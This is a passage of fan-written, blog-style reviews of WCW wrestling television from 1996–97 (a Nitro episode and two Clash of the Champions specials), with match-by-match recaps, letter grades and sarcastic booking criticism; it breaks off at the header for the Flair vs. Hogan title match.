This is another step towards Souled Out but we have another show after this before we get to the Saturday PPV. Tonight sees one of the most interesting (and unsuccessful) marketing gimmicks ever but it wasn’t as bad as a lot of things they tried. More on that later. Anyway other than that, we’re getting the PPV main event to close the show….kind of. Let’s get to it.

We open with Giant trying to get at Hogan in the NWO locker room. Giant: “You’re a four legged feline.” What kind of an…..never mind. Giant calls him a coward which Tony and Larry immediately say means Hogan isn’t defending the title.

Mr. JL vs. Chavo Guerrero Jr.

Larry and Tony talk about the Hogan vs. Giant non-match with Larry seemingly referencing Showdown at Shea. They trade headscissors and Chavo dropkicks him to the floor. Chavo hits a pescado to the floor and there’s an ECW chant for some reason. JL gets in a shot and misses a dive off the top to the floor. Back in JL misses a slingshot splash and Chavo hammers away. Cross body gets two for Guerrero. Chavo goes up but gets chopped down and JL hits a rana for one. Guerrero knocks him down and hits a moonsault press for the pin.

Rating: C+. Pretty fun little match here as the Cruiserweights get to go out and show off a little bit. It’s got nothing on Rey or Dragon or anything like that but it’s not supposed to. This was a good choice for an opener as the crowd was getting into this pretty strong at the end which is always a good sign.

Here’s Duggan with the WCW flag. WCW is awesome and Sting needs to pick a side.

Jim Duggan vs. Super Calo

Sting comes out and drops Duggan because he doesn’t want to watch this match. Larry/Tony: “HE’S NWO!!!”

Craig Pittman vs. Chris Jericho

This is a replacement match apparently. They cover the guys being in gear by saying this is a match scheduled for later. That’s something that would save a ton of time in wrestling: a never seen matchmaker who makes matches just because matches need to be made to fill a show. We could save so much time on going to see the GM saying that so and so is facing so and so. Anyway this lasts like a minute and Jericho wins with a missile dropkick.

Harlem Heat vs. High Voltage

Larry and Tony have the following discussion during the entrances. Larry: “Sting must be NWO. Even I wouldn’t hit Duggan.” Tony: “Yeah you would.” Larry: “Well not from behind.” Booker and Kaos start with Booker dominating. Off to Rage who hits a slingshot legdrop…and then it’s off to the back where Giant charges at the NWO again, this time calling them monkies. Eric and Hogan talk about how there was no contract so there’s no match.

Tony and Larry talk about how he should get the shot because of winning World War 3 as Harlem Heat is in control. Booker misses a middle rope elbow and it’s off to Kaos. Everything breaks down and the Heatseeker (Doomsday Device with a missile dropkick) gets the pin. Too short to rate due to the NWO/Giant stuff.

The WCW Executive Committee is meeting at the WCW Headquarters across the street (why they’re in New Orleans is beyond me) and they’ll make a decision about Hogan vs. Giant.

Bischoff and Dibiase take over on commentary.

We get a video on Sting since he became Crow Man.

Diamond Dallas Page vs. Mark Starr

Starr actually gets an entrance and comes out second. Maybe he used his Starr power to get it? Thankfully the Diamond Cutter ends this in about a minute so I can’t be pelted for that horrible joke.

The Outsiders come out to give Page the colors and Page hugs Nash. He puts on the shirt and shakes Hall’s hand before pulling Hall in and laying him out with the Diamond Cutter. Nash gets sent to the floor and Page bails through the crowd.

The Outsiders have an NWO promo about how they’re going to come after Scott Steiner’s back in the match at Souled Out.

Dean Malenko vs. Eddie Guerrero

This is non-title. We’re told that there’s going to be a decision from the executive committee and they’re walking across the street to give it to us, because phones don’t exist in the bizarro world of WCW. Technical stuff to start and Eddie takes him to the mat. He works on the arm but Dean grabs the knee. Eddie spins out of that and it’s a standoff. Dean hits a leg lariat to take over.

We get breaking news: Piper was speaking an ancient version of Gaelic last week when he was being taken away. Tony has MORE breaking news. Hogan has to face the Giant, TONIGHT. Remember that, because it becomes important later. Eddie escapes a belly to back suplex and I have to make sure to look at the screen because the announcers are busy reading announcements like a public address system announcer.

Eddie stays on the knee and tries a Figure Four but Dean blocks the leg from going down. Now the hold goes on full and Tony bothers to talk about the match a bit. Dean gets to the rope and hits the floor. Back inside and Eddie takes over but loads up a tornado DDT which is countered by Eddie being thrown into the middle of the ring. Off to an abdominal stretch as Tony plugs the Adventures of Robin Hood TV series which debuts tonight.

Syxx is watching from the other side of the arena. Malenko hits a belly to back suplex for two. Eddie grabs a Gory Special but Dean counters into a sunset flip for two. Backslide gets two for Eddie. Victory roll gets two for Dean. Off to a test of strength position and Eddie climbs the ropes and hits a rana for two. This is getting really good. Eddie’s top rope double ax is blocked and they go into a series of standing switches, resulting in a braibuster by Dean for two. Eddie comes back with one of his own but gets on the ropes to look at Syxx so that Malenko can powerbomb him out of the corner for the pin.

Rating: B. Good match here as you would expect from these guys. As usual the announcers wanted to talk about anything not related to the match for the most part but if you block them out (a required skill to be a Nitro viewer) then you’ll have a good time with this match. Good stuff as always.

Hour #2 begins.

We get a clip from earlier of Giant breaking into the NWO’s locker room.

Super Calo vs. Konnan

Dang they really wanted to get Calo on this show didn’t they? Konnan takes him down and gets a rolling cradle for two. Calo speeds things up with an armdrag and dropkick to send Konnan to the outside. Suicide dive takes Konnan out and gets two back in the ring. Konnan hits a rolling clothesline and then kills Calo with a powerbomb. Then he does it again but Calo pops up in less than ten seconds.

Konnan goes and sits on the middle rope for no apparent reason other than to allow Calo to headscissor him down. In another weird bit, Konnan sends him into the ropes and Calo tries a cross body but Konnan doesn’t move an inch. The 187 (fisherman’s brainbuster) ends this clean. Too short to rate but there were some weird parts to this.

Jeff Jarrett vs. Chris Benoit

The Horsemen Split continues. While Benoit is on the way to the ring we get a promo from Sullivan in front of a chess board. He says he owns the board and he’s taking it back next week. More BREAKING NEWS: Hogan vs. Giant will be non-title because apparently a champion has to have 48 hours to prepare. Sweet Christmas where do they come up with these things?

Benoit takes him down to start so Jericho does the same thing and struts a bit. This is a rematch from Starrcade if you don’t remember that. Mongo and Debra come out after the fans all look towards the ramp. Heenan freaks out because something is going on then sees who it is and calms down again. Benoit takes him down with a clothesline and this is a very slow match.

We hear about a brawl in Louisiana between Jerry Sags and Scott Hall. Is there a reason they picked now to talk about that? Jeff comes back with a neckbreaker to load up the figure four but Arn yells at the referee for some reason. This allows Mongo to try to hit Jeff with the briefcase but he hits Benoit by mistake to give Jarrett the win.

Rating: D+. Not much here because this was just here to have the angle continue. Why in the world the Horsemen had to be broken up like this is beyond me, but I’d assume it was so that they would wind up being as forgotten as possible. I mean think about it: women are breaking up the Horsemen. Think about that for a minute.

Post match the Horsemen argue in the aisle. Benoit says we’re solving this tonight. Benoit says the Horsemen are an elite team and Mongo knows what being on an elite team means. If Mongo wants to keep being a Horseman, quit fumbling the ball because this isn’t looking like an elite team at all. Benoit was hand picked and Mongo became one due to an unfortunate circumstance. As for Debra, she can badmouth him but badmouthing Woman is just a bad idea. He insists Woman is all woman and he knows by experience.

Mongo says he made a mistake and that the case has won them a lot of matches. Benoit wants to know where Flair is. Anderson says this has to be solved because they’re a team. Benoit tells Mongo to shape up or ship out. Debra says she’d never gossip because she loves the Horsemen. Mongo gets in Benoit’s face but Anderson separates them. Benoit says he wants results and it’s time for the Horsemen to match his effort. This would carry on in one form or another well into the summer.

Scotty Riggs vs. Billy Kidman

Billy is just a cruiserweight jobber at this point. The announcers use this as time for another Hogan vs. Giant commercial. Scotty controls with the arm as Tony compares it to the Super Bowl. Kidman works on the arm now for a change as Bagwell in a new look comes out to the entrance. He says he’s buff. Kidman misses the 450 (Tenay calls it the shooting star for some reason) and Riggs wins with a fisherman’s suplex (Bagwell’s former finishing move) so that their old tag team music can play. Is he a jilted lover? Just there to have Bagwell come out.

The announcers talk about Hogan vs. Giant some more.

Lee Marshall is in Chicago.

Some singer is here.

Rick Fuller vs. Lex Luger

Fuller is of course an overly tall power guy because Luger doesn’t know how to face anyone else. They shove each other a few times and Fuller hides in the ropes to avoid getting punched. Fuller takes him down and drops a leg for two. He chops Luger in the corner but Luger Lexes Up, hits some clotheslines and Racks him for the win. Moving on.

Giant comes out and stares Luger down in the aisle. Nothing happens though because Giant is here to talk about the main event. Giant goes on a rant about how this is about him and how he wants the title. His theme is about books and how he was a bookend but tonight he’s closing the chapter. He wasn’t much of a talker so a basic theme like that was a good idea for him.

Arn Anderson vs. Rick Steiner

Arn uses wrestling skill for a quick advantage which is a rare thing to see against a Steiner. That pretty much stops working because of a belly to belly suplex that sends Arn to the floor. And now we hear the announcement about the ending of the show: we’re running low on time and JUST IN CASE we run out of time, make sure to watch the debut of the New Adventures of Robin Hood because we’ll show you the match during the commercials!

Anderson calls for help from the back but no one comes out. Shoulder block gets two for Rick. Arn keeps calling for help but we’re told that the Horsemen are fighting in the back. Anderson gets knocked to the floor and walks out for the countout. Enough short matches!!!

The Steiners are ready for Souled Out and the Outsiders.

Hulk Hogan vs. The Giant

Tony says we have six minutes of air time left and you know what’s coming. Hogan talks for awhile and says he doesn’t have to do this so Giant grabs him and starts the beating. The bell rings and we have a minuet of TV time left. Giant knocks him to the floor and Hogan says he’s done. Giant throws him back in and we’re out of time.

At this point, the show ends and Robin Hood would have begun. The idea was that the fans would watch Robin Hood and get to see parts of the match during the break. This would go on until the final break, meaning the match would go 45 minutes. Since I don’t think Hogan wrestled 45 minutes combined in 1997, you can probably guess that it didn’t go that way. Also, most people (myself included) watched something else and flipped back to see if the match was going on or not. The version I have airs it in one straight shot for the sake of simplicity.

Back with Giant chopping him in the corner. A clothesline puts Hogan down and giant no sells a low blow. Hogan hides behind the referee and it’s time for a test of strength. Giant steps on his hands and we take another break. Back with Hogan getting thrown back into the ring. There’s a slam but the Chokeslam is countered. The NWO runs in and it’s a DQ. The match itself was supposed to have run about 45 minutes but from what I can find, it ran about 6 minutes live.

Rating: D. I probably shouldn’t give it a grade based on my rules but I feel like I haven’t done enough during this show. The match was exactly what you would expect from these two in 1997 with Hogan doing nothing on offense while Giant tossed him around. The match at Souled Out would be a longer version of this.

Overall Rating: D+. This is a strange show indeed. WCW was in an awkward place at this point which is similar to the original Super Mario for NES. It’s like the big match that we’re told about and are teased with are on another show. The problem WCW had was that you never really got to the show that had those great main event matches. At the end of the day, Hogan was getting paid no matter what, Hall and Nash were getting paid no matter what, and so they had no point in putting any kind of effort in at all.

WCW never gave us the great main events they hyped up for months on end and finally, the people got tired of it. They gave us the matches they said we’d get (most of the time), but those matches were usually horrible. At the end of the day, it’s a wrestling show and sometimes, the answer to all your problems is to go and have good wrestling matches. That never quite connected in WCW’s main event scene.

Oh yeah this was about Nitro. This show did a good job of building up some of the matches for Souled Out but as usual, you’ll get so sick of hearing about the NWO and Hogan vs. Giant that you won’t care about the match when it finally happens. Also this parade of squashes really needs to end. This isn’t Superstars in 1987. The drama on these shows was great and it was easy to see why you would want to watch week to week, but the quality wasn’t there for the most part.

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Clash of the Champions #34
Date: January 21, 1997
Location: Wisconsin Center Arena, Milwaukee, Wisconsin
Attendance: 6,800
Commentators: Tony Schiavone, Dusty Rhodes, Bobby Heenan

This is another of the prime time specials from WCW and one of the last ones. The NWO is in full control here and this show means nothing for the most part as everything was about Nitro. Also we were more or less in a deep freeze because everything was building to Sting vs. Hogan which was in about 11 months. This is also the go home show for Souled Out. Let’s get to it.

After some yapping we’re ready to start.

Cruiserweight Title: Dean Malenko vs. Ultimo Dragon

Dragon is champion coming in here and Tenay is here for the sake of knowledge. Malenko has lost two in a row coming into this including one the previous night and the opener at Starrcade. The idiot that is known as Tony Schiavone keeps calling him Ultimate Dragon. They hit the mat and Dragon uses a bunch of spin moves to get out. They stay on the mat and we take a break.

The NWO now has its own hotline.

Back with them slugging it out. Dragon apparently lost the J-Crown at the January 4th show at the Tokyo Dome to Jushin Thunder Liger. This is a more hard hitting match than you’re used to with these two. Long vertical suplex gets two and it’s off to a head scissors on the mat. Dragon hammers away with kicks and Dean heads to the floor for a breather.

Half crab by Malenko and here comes Dean. Off to another leg lock and out to the floor. All Malenko here as he hooks on the figure four. Actually he doesn’t as Dragon blocks it for a bit. They speed things up a bit and it’s a spin wheel kick from Dragon to take Dean down. Dean grabs a superplex to take Dragon down and we speed it up even more. Powerbomb by Dean is reversed into a rana but we counter stuff even more.

Out to the floor and Dean is whipped into the railing. Asai Moonsault takes Dean down and the fans are into this to say the least. Back in and a top rope moonsault gets two for Dragon. Now all the fans turn and look at something else as Dragon gets a twisting rana off the top. Tiger suplex is reversed into a Cloverleaf attempt but that gets reversed. Another powerbomb is reversed into a butterfly powerbomb and a third Cloverleaf attempt. Down goes Onoo and the Cloverleaf ends this.

Rating: B+. Great stuff here as they were incredibly crisp with both guys working incredibly hard. The cruiserweight division was absolutely incredible at this point and Dean was at his absolute peak in 1997. Excellent match here with very little missing from it at all and an incredible opener. Bets on anything being good compared to this?

Mike Enos vs. Scotty Riggs

Neither gets an intro so what do you expect here? This is a very basic power vs. speed match and Riggs is here to look good before his match with Bagwell at the PPV. Both guys are incredibly generic and I see absolutely no reason for this to be here. A running forearm ends this for Riggs in about two minutes. Totally pointless match that gets no rating. Riggs says he’s the heart and soul of WCW. I can’t make this stuff up.

Here are the Horsemen, in this case Benoit and Anderson with some women. Oh and Mongo is there too. The fans of course want Flair. Benoit talks about how awesome he is and there’s a HUGE Benoit chant. Anderson says finish Sullivan tonight. Mongo (huge booing for the Bear here in Packer town). Debra says nothing of note at all.

Chavo Guerrero Jr/Chris Jericho/Super Calo vs. Konnan/La Parka/Mr. JL

Tenay and the other commentators say the Horsemen are having issues because Flair isn’t here. La Parka is replacing Psicosis who is injured and Jericho is replacing Juventud Guerrera who just no showed. This is under lucha rules, meaning if you hit the floor another member of your team can come in just like a tag. Chavo vs. JL to start with Jerry Lynn (what the JL stands for) destroying him.

Off to Konnan and Calo with Konnan continuing his team’s dominance. Calo was a guy I never liked or got the appeal of for the most part. We get some nice speed moves from those two with Calo looking kind of awesome actually. Off to Jericho and La Parka for awhile now and Parka is a bit nuts. Parka does a Spinarooni of all things but can’t keep Jericho down. Konnan comes in and it’s a Doomsday Device with La Parka throwing out a Whisper in the Wind instead of a clothesline. That was kind of awesome.

Konnan takes Jericho down and it’s off to Chavo. They are MOVING out there. Jericho vs. JL at the moment with Jericho taking over. Konnan comes in as does Chavo so there are four in the ring at once. Out to the floor and JL dives on Jericho. Chavo dives on JL and La Parka dives in general. Calo with a slingshot hilo to La Parka and in the ring JL gets a rana on Jericho for two. Jericho wants a superplex but settles for a super rana for the pin. Jericho looked like a star here.

Rating: B. Fun match here that was nothing but dives and speed. This is something you got in WCW that was great: they mixed up the styles every match almost. We’ve had a technical match, power vs. speed and now lucha libre. Not bad for 40 minutes. Jericho looked awesome here and of course would go on to mediocrity in WCW before becoming a legend in WWE.

Renegade/Joe Gomez vs. Harlem Heat

Guess what we’ve got here. Gomez is a guy that Is just kind of around while Renegade is the WCW version of Ultimate Warrior who hasn’t meant anything in about 18 months. Booker beats on Gomez for a bit and then Stevie and Sherri get to do the same. Axe kick to Gomez but Renegade comes in to get what passes for a hot tag. Harlem Heat destroys him and the Heat Seeker (Doomsday Device with a missile dropkick) ends him quickly. Just a squash.

Masahiro Chono vs. Alex Wright

Chono is NWO. He jumps Wright immediately but Wright charges back at him. Wright backflips off the top and gets an enziguri. Not in the same move mind you. He’s a dancer, not Spider-Morrison. The fans don’t really like either guy here. Wright can move and gets a leg lariat for about 9 but Nick Patrick won’t count with any speed at all.

Chono takes over again and throws Wright over the top which should be a DQ but isn’t here because Patrick doesn’t want to count. Sunset flip by Wright but the shoulder of Patrick hurts. Belly to back gets no cover and then Wright misses a cross body. Mafia Kick ends Wright pretty easily and the shoulder is fine of course.

Rating: D+. Just a quick match here with the idea being that it was a preview of what the PPV is going to be like. The match itself means nothing of course but it wasn’t really supposed to. Wright again continues to mean nothing at all but being a midcard jobber to the stars. Weak match but it got the point across.

Eddie Guerrero vs. Scott Norton

Patrick is the referee again. Eddie is US Champion here but doesn’t have the physical belt as Syxx stole it. Norton chops away and uses basic power to take over. Eddie goes after the knee and gets Norton off his feet like a smart man. He chops away which just makes Norton mad. Norton is NWO if that clears anything up. Here comes the power game again as I can remember the majority of this show from watching it when it aired.

Norton does something I haven’t seen before as he sets him for a suplex and just drops him without moving at all. No cover though as Norton is wanting to show off here. Big powerbomb puts Guerrero down again but a clothesline misses Guerrero and down goes Patrick. DDP, currently the fastest rising star in forever comes through the crowd and drops Norton with the Diamond Cutter and gets a huge pop. Frog Splash makes Patrick count the three with a hilarious look on his face.

Rating: D+. Well they did a great job here of making it seem possible that WCW had a chance on Satruday at the PPV. Not much of a match but it wasn’t supposed to be. Eddie, like Jericho, looked great here but that wouldn’t matter as we needed guys like Buff Bagwell to get pushes and the TV time.

Giant talks about Hogan. He’s in the dark here almost and talks about how Hogan paid Giant to be on the sidelines and keep him from taking out Hogan because no one can stop the Giant. He strikes a match and says that Hogan is like this match. It gave light, it gave some warmth, but eventually it gets blown out. At Souled Out, Hogan is blown out. I’ve always liked this promo and it’s still pretty awesome today.

Chris Benoit vs. Kevin Sullivan

Woman is here with Chris and looks pretty good here. This is falls count anywhere again. Kevin wants to start it on the floor and Benoit says let’s do it. They had another of these at the Great American Bash the previous year and it was totally awesome. They’re in the crowd almost immediately and are in the back quickly.

The first room is the men’s room and Benoit knocks a towel dispenser off the way with his head. Benoit throws a trashcan that hits Hart and the referee. This is almost move for move the same match as their Great American Bash match. Sullivan gets a clothesline for two as we’re still in the men’s room. Now we’re talking about an Andy Griffith movie.

Back into the arena and Benoit is kicked down the steps. Seriously, this is the SAME MATCH. Back in the ring and Benoit is in the Tree of Woe for the running knee. Double stomp to Benoit gets two. Woman comes in and cracks Sullivan with a wooden chair to end Sullivan and give Benoit the win. Well at least the ending was different I suppose. Also they didn’t swerve us.

Rating: B-. Well yes it’s a good match but legitimately over half of the spots are identical to the one at the Bash. Also the Bash’s ending was better and it went on longer. It also helps that we got to see it for the first time back then. Sometimes you need to see a semi-shoot like this though as it makes things more interesting, as it did here.

Benoit hits him with a chair again post match.

Amazing French Canadians vs. Steiner Brothers

The French Canadians are the Quebecers. Colonel Parker is with them in a French Canadian soldier outfit I guess. They try the Canadian national anthem but get cut off by Steinerized. The Outsiders injured Scott in a form of attempted vehicular manslaughter and this is his return. The Outsiders pop up on the screen to laugh at them with Nash implying he’ll come out here.

Scott has a new look here which would eventually be what he wore as a heel. The Steiners clean house to start and hit top rope clotheslines almost at the same time. We take a break and come back with Rick in some trouble. The Canadians beat him down and try their Cannonball move but Rick gets out of the way just in time. The Canadians seem to not tag at all. Here’s Scotty who destroys them both on his own. A French flag shot fails and the elevated DDT ends Oulette with ease.

Rating: C-. Without the commercial we saw about 3 minutes here so why not rate it. Nothing worth note at all as it was again really just a squash to set up the Steiners against the Outsiders at the PPV. Scott would be about to get pushed to the moon as a solo guy and get a major push. Anyway, this was domination.

Scott Hall vs. Lex Luger

Main event time here and Hall has a small army with him. Luger has the kind of rare black boots on. Luger does the pec dance and gets a toothpick in his face for his troubles. All power by Luger to start and he no sells the fallaway slam. A middle rope bulldog puts Luger down for two though and Scott works on the arm. Chokeslam puts Luger down but he’s up quickly.

Some fan shouts about oozing machismo which makes me smile a bit. He hits the floor and the numbers (I only see the number Syxx but whatever) catch up with him so that Hall can take over. Syxx interferes again with Nash distracting the referee. The clothesline from Syxx gets two. Now the fallaway slam works a bit better, getting two this time.

Off to the abdominal stretch as Luger is in trouble. Luger gets out of it after about a minute but misses an elbow and here comes Hall again. Luger comes back again and hits a slingshot dropkick of all things and lets loose his rather limited offense. Atomic drops and punches and clotheslines OH MY! No sign for the Rack yet but there’s one after a powerslam. Nash breaks it up but Luger fights both of them off. Where is WCW? Is there a good Old Maid game going on in the back? Syxx finally gets a shot in and it’s a DQ.

Rating: C. Just a main event match here with an unsurprising finish. At least they gave them some time here and we got a decent match out of it. Luger probably should have gone over but I guess they wanted the Outsiders looking as strong as possible going into the PPV. Not bad, but just kind of there for a TV main event.

The Steiners come out for the save from the beatdown.

Overall Rating: B-. Pretty good show here from a weaker period for WCW. There was some good stuff here but the bad is hard to overlook. The opener is great of course but there wasn’t much really good after that. The good outweighs the bad though and they build up Souled Out pretty well so I can live with this. Not bad but nothing great either.

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Clash of the Champions 33
Date: August 15, 1996
Location: Denver Coliseum, Denver, Colorado
Attendance: 8,304
Commentators: Tony Schiavone, Bobby Heenan

We’re at one of the final editions of this show and it’s probably a good thing. This is right after Hogan won the world title as a member of the NWO and tonight it’s his first defense which is against Flair. This isn’t a terrible looking card on paper and I vaguely remember watching it when it aired. I’m on a WCW 96 kick for some reason so this isn’t completely off from what I just got done with. Let’s get to it.

We get a series of clips of Hogan destroying various people as head of the NWO, saying if he’d do things to Savage like he did then what would he do to Flair who he can’t stand? Good question.

Tony and Bobby talk for a bit and we get a video from Nitro with the Outsiders vs. Sting/Luger. The Horsemen came out for a save when Luger was down. This was around the time when Nick Patrick was about to join the NWO but he hadn’t quite done it yet. This was part of attempt #1 to get WCW united out of about 8375, none of which worked.

Crusierweight Title: Dean Malenko vs. Rey Mysterio

Mysterio had won the title on Nitro the night after Hogan turned and this is a rematch. Tenay shows up for this one. Rey is AWESOME at this point given that his knees are still in their original form here and he’s about 40 pounds lighter before steroids happened. Yeah young fans, the Rey you see today is a giant compared to what he debuted as.

Dean jumps him before the bell and the beating is on. He’s relatively heel here but only as heel as he could get. Rey speeds things up, flying all over the place for a bit to tick Dean off. He speeds up again and takes over with ease. The move that would become known as the 619 is still a taunt here and Rey tries to get at Dean’s mind with it.

Dean slows things down and hits a slick move by setting for a powerbomb and dropping back into a hot shot. JUMPING brainbuster should kill Rey but it only gets two. Cool move by Rey as he gets a running start, grabs Dean and rolls backwards into a Fisherman’s suplex for two. Chinlock goes on by Dean to slow things down. We take a break and Tony says if anything happens we’ll show you. No replay is shown so did they just stand there? Was it a game of freeze tag?

Rey gets a running start and gets LAUNCHED into the air but lands on the middle rope. After catching his balance for a second he backflips off, starting an insane pinfall reversal sequence. That’s reminiscent of one of my all time favorite spots. Shortly after Rey debuted in WWE he was facing Noble on Smackdown.

Jamie threw him over his head (more or less throwing Rey into a leap frog) and Rey landed on the middle rope, didn’t stop for a second and bounced backwards, catching Noble in a rana into a pin. Noble totally telegraphed it but who cared man. That was insane and my jaw hit the floor when I saw that, which does not happen with me. We start talking about Nick Patrick and how he’s apparently become white. And black. That joke didn’t work as well as I wanted it to.

Dean with a leg lock that gets him nowhere. Oddly enough Dean is winning with power here. Rey sends him to the floor and gets a HUGE tope con hilo into a senton. He more or less botches the heck out of a Lionsault off the guardrail but to be fair the big spot just before that makes up for it. Springboard version of the West Coast Pop (doesn’t have that name here) gets two. Now we’re talking about the tag titles for no apparent reason at all.

One of Dean’s signature moves is a gutbuster out of a fireman’s carry off the middle rope. The problem here is that Rey weighs 130lbs soaking wet with a brick in his pocket, so when Dean elevates him for it he loses his grip on Mysterio so there is NOTHING to protect Rey as his ribs hit Dean’s knee. That looked incredible. He covers Rey who gets his foot on the rope. The referee counts three anyway but then waves it off. Rey uses the distraction to get the pin on a victory roll.

Rating: B+. This was AWESOME. You had Dean LAUNCHING Rey all over the place, making it look like Rey was flying. The big dives from Rey were top notch and that gutbuster looked incredible. Dean’s timing on that was great too as he had to move his knee into position to have Rey land on it. Great match here and very fun. Unfortunately we have to watch the other 78 minutes of this show.

Glacier is still coming. Holy sweet merciful crap that was one of the biggest bombs of all time. His entrance alone cost over half a million dollars and we had to deal with six months, yes I said MONTHS of vignettes hyping him up.

V.K. Wallstreet vs. Jim Duggan

Get it? VKM, obsessed with money, wears a suit a lot? Yeah it was crap. It’s Mike Rotunda, aka IRS. What does the R stand for anyway? There are fans with an NWO banner and Heenan isn’t sure what to think of that. These two are feuding apparently. Duggan gets a wristlock but Wallstreet gets the ropes. He looks at the camera and says he’s too smart for Duggan who is right behind him. Nice one dude.

Naturally we’re talking about Hogan vs. Flair almost nonstop here. After some basic back and forth stuff we hit the chinlock. Jawbreaker gets Duggan out of trouble. This is incredibly dull. Duggan gets a slam and tries to tape up his fist which was a thing he was doing at the time so the referee tries to stop him. In the ensuing chaos Wallstreet rolls him up for the pin. What the heck ever man.

Rating: F+. Just boring beyond belief here with nothing special going on whatsoever. This was one of those feuds that happened and I don’t think anyone actually remembers it. GrantedI don’t think anyone remembered it as it was happening either. Either way, this was dull and a waste of 5 minutes counting introductions.

The Nasty Boys say they’re going to fight. They’ve been having issues with the NWO who they would soon try to join or maybe they already did. Knobbs says they want the gold. Oh and they should be in the triangle match for the titles.

After a break we’re with Gene again who says that earlier he and Tenay were interrupted by the Outsiders and wound up interviewing them. Want to know what was said? CALL THE HOTLINE!!! Oh dear.

Ultimo Dragon vs. Konnan

Naturally they call him Ultimate here because they’re stupid. Thankfully Tony and Mike say the right name but his graphic says Ultimate. Konnan is in regular trunks here which is weird to see. Nick Patrick is the referee here so I’d bet on a lot of the focus being on him because a referee is more important than the wrestlers.

Konnan dominates to start, taking Dragon to the mat and getting an insane looking deathlock/Cloverleaf on him. Dragon’s arms were between his legs and it looked painful. He hits the floor and we hear about how Konnan is all bitter over losing his US Title, which would lead to his heel turn. HEY! That’s a great way to start talking about Hogan!

Dragon sends him to the floor and Sonny lays in some decent kicks of his own. Somehow the referee has no issue with this at all either. Dragon takes over and gets a moonsault and a majistrol cradle for two. Konnan rolls through a German Suplex and uses the tights to get the very fast win. Under three minutes so no rating but this wasn’t anything special at all.

There’s a really old school internet chat going on and Ice Train is there. It’s on Compuserve of all things. Scott Norton, his old partner, jumps him there.

Meng vs. Randy Savage

This should be dull. Savage is badly injured here. Actually scratch the here part as there’s no Savage. That rock version of Pomp and Circumstance is pretty awesome to listen to though. Not so good to put on toast. Savage is too injured to wrestle so it’s a forfeit. Fans are not happy to say the least.

The Dungeon of Doom comes out to talk. Sullivan talks about how he’s never been a fan of Hogan and never praised him. He’s always told it how it is about Hogan and wants an explanation from Gene about him supporting the entire time. Jimmy cuts him off to say how great the Dungeon is…and a Leprechaun is here. No one talks about him but the camera shows him running all over the place. Apparently that’s Dwayne Bruce, the guy that ran the Power Plant and trained Goldberg. Yeah that’s it.

Bull Nakano vs. Madusa

These two had some great matches in Japan so this should be good. Madusa starts off very fast but can’t get much going. Nakano grabs her by the hair and spins her around the ring by it. That has to freaking hurt so she does it again! Nakano hits her with knunchuks twice and the referee is all cool with it apparently. Madusa totally botches a cross body, hitting Nakano in the feet. Top rope double axe handle to the floor kills Sonny (manager) who then kicks Nakano by mistake for the pin. This was very short but sloppy beyond belief. Terrible match indeed.

Flair and the girls say tonight it’s Flair vs. Hogan with Flair talking about how this is about being the best. He has zero chance to win the title but at least he’s acting intense. Flair says he has the Horsemen backing him up. Liz is so much hotter in the leather jacket and regular shirt than the dresses it’s unreal.

Diamond Dallas Page vs. Eddie Guerrero

This is for the Battlebowl Ring which is apparently a defendable title. Page is on the brink of the push of a lifetime as he would become the first guy to turn down the NWO and become the hottest face in the company for about a year. He has the look down here too. Eddie starts off fast of course but Page takes him down early. Guerrero’s shoulder hits the post so Page stomps on his ribs. He was still learning here.

Page gets a nice spinout gutbuster for two. Heenan still complains about the lack of arm work. DDP has an earring in his ear and Heenan suggests that Eddie rips it out. Brain could be a bit evil at times. They slug it out and Eddie pounds away, winning that aspect of the match. Batista Bomb gets two for Page. Page sets him for a top rope suplex but Eddie knocks him off and gets the Frog Splash for the win and the ring. Diamond Cutter post match and Page keeps the ring. More Diamond Cutters hit and Chavo tries to save which fails as well.

Rating: C-. Not much of a match here but it wasn’t bad. These two feuded forever with the idea being to get Page much better as a result. It kind of worked but the people were tired of the feud once it was over. Anyway, they would meet again for the US Title at Starrcade and then Page would turn and everything would get awesome.

Hogan pops up to yell at Gene. He talks about how there can only be one great one and starting tonight…nothing apparently. This is rather pointless indeed.

Glacier is STILL coming. Exact same ad from earlier.

Chris Benoit vs. The Giant

Ok this has to be good right? It’s Benoit. Woman is helping Benoit out of his vest so Giant DROPKICKS him in the corner. Keep in mind that the Giant is more commonly known as Big Show. He’s still lean here and one of the most amazing athletes you’ll ever seen. This is the Giant that could have destroyed Andre, not the big oaf you see today. Giant immediately grabs him and gets the BIGGEST CHOKESLAM EVER, with every bit of Benoit above the post for the easy pin in 30 seconds if you stretch it out. Ok then.

Tag Titles: Sting/Lex Luger vs. Steiner Brothers vs. Harlem Heat

Heat are the champions here. This is a triangle match which has some different rules depending on what year it is. This time it’s one fall to a finish and you have to tag in and out. Sometimes it would be elimination, some times it would be three guys in the ring at once, sometimes it would be like this. You never could tell for sure. Ok, please give us something watchable here. I beg of you.

Scotty and Booker start us off. Luger drills Booker with a clothesline to take him to the floor and he’s shaken up. Scott, like an idiot, tags in Luger. If his team isn’t in the match, they can’t win the titles. Well he does have to dumb himself down so maybe that has something to do with it. Stevie in now and they take turns slugging each other down in the corner.

Rick tags himself in and kills Stevie with a Steiner Line. Top rope bulldog gets two as Luger breaks it up. We take a break and are back with Booker and Rick but Sting tags himself in to beat on Booker. There’s an interesting matchup. They alter the top rope rule again so Sting isn’t disqualified. Off to Luger now as the superstars are in control. We get into the psychology part here as everyone keeps breaking things up.

Scott REACHES to get a tag to bring himself in to beat on Sting. Sting has on purple and yellow. Must be an alliance with Cena. Back to Luger as this is getting more like a brawl by the second. Rick gets a nice reverse German suplex as we hear about how the air this high off the ground could be a factor. That’s rather true actually. Luger gets a fireman’s carry which is called the Rack for no apparent reason.

Everything breaks down and it’s Booker vs. Scott in the ring still. Everyone else is fighting in the aisle and here come the Outsiders! They beat the heck out of everyone else but the key thing here is that Nick Patrick does not see it. Scott gets the Frankensteiner but Patrick sees the Outsiders leaving and call that a DQ to throw the match out. Scott is right: that’s nonsense.

Rating: C. The match was starting to get good by the end but of course the referee is more of a focus than the match so we’ll go with that instead. This isn’t much to talk about as far as the ending goes, but the rest of it was pretty good. It’s nothing I’ll remember in half an hour but it was ok while it lasted.

Gene talks to Patrick who says that it was a DQ. Gene says that it shouldn’t have been because it wasn’t in the ring. So freaking what? So if Nexus comes down and beats the tar out of Cena but doesn’t get in the ring it’s legal? Yeah this is rather stupid and Patrick is right here.

WCW World Title: Ric Flair vs. Hulk Hogan

